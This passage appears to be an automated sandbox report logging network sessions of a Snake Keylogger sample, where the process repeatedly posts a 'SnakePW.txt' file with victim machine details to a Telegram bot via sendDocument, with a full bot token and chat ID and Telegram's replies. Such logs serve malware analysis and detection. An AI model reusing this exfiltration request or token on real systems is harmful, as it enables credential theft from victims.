2022-06-26 07:34:23 UTC	412	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575712c806a4 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:23 UTC	412	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 32 63 38 30 36 61 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575712c806a4Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:23 UTC	412	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:23 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:23 UTC	413	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 32 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 36 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67025,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228863,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
245	192.168.2.5	50156	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:23 UTC	413	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5757130d2b62 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:23 UTC	414	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 33 30 64 32 62 36 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5757130d2b62Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:24 UTC	414	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:24 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:24 UTC	414	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 32 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 36 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67027,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228863,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
246	192.168.2.5	50158	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:24 UTC	415	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575713524e97 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:24 UTC	415	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 33 35 32 34 65 39 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575713524e97Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:24 UTC	416	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:24 GMT Content-Type: application/json Content-Length: 509 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:24 UTC	416	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 32 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 36 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67028,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228864,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
247	192.168.2.5	50159	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:24 UTC	417	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5757139e9a3d Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:24 UTC	417	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 33 39 65 39 61 33 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5757139e9a3dContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:24 UTC	417	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:24 GMT Content-Type: application/json Content-Length: 509 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:24 UTC	418	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 32 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 36 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67029,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228864,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
248	192.168.2.5	50160	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:25 UTC	418	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575713dc96af Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:25 UTC	419	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 33 64 63 39 36 61 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575713dc96afContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:25 UTC	419	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:25 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:25 UTC	420	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 33 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 36 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67030,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228865,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
249	192.168.2.5	50161	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:25 UTC	420	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575714457e05 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:25 UTC	420	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 34 34 35 37 65 30 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575714457e05Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:26 UTC	421	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:26 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:26 UTC	421	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 33 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 36 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67031,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228865,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.5	49793	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:48 UTC	42	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756da5e9696 Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:48 UTC	42	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 61 35 65 39 36 39 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756da5e9696Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:48 UTC	43	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:48 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:48 UTC	43	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 37 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 36 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66772,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228768,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
250	192.168.2.5	50162	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:26 UTC	422	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575714837b7d Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:26 UTC	422	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 34 38 33 37 62 37 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575714837b7dContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
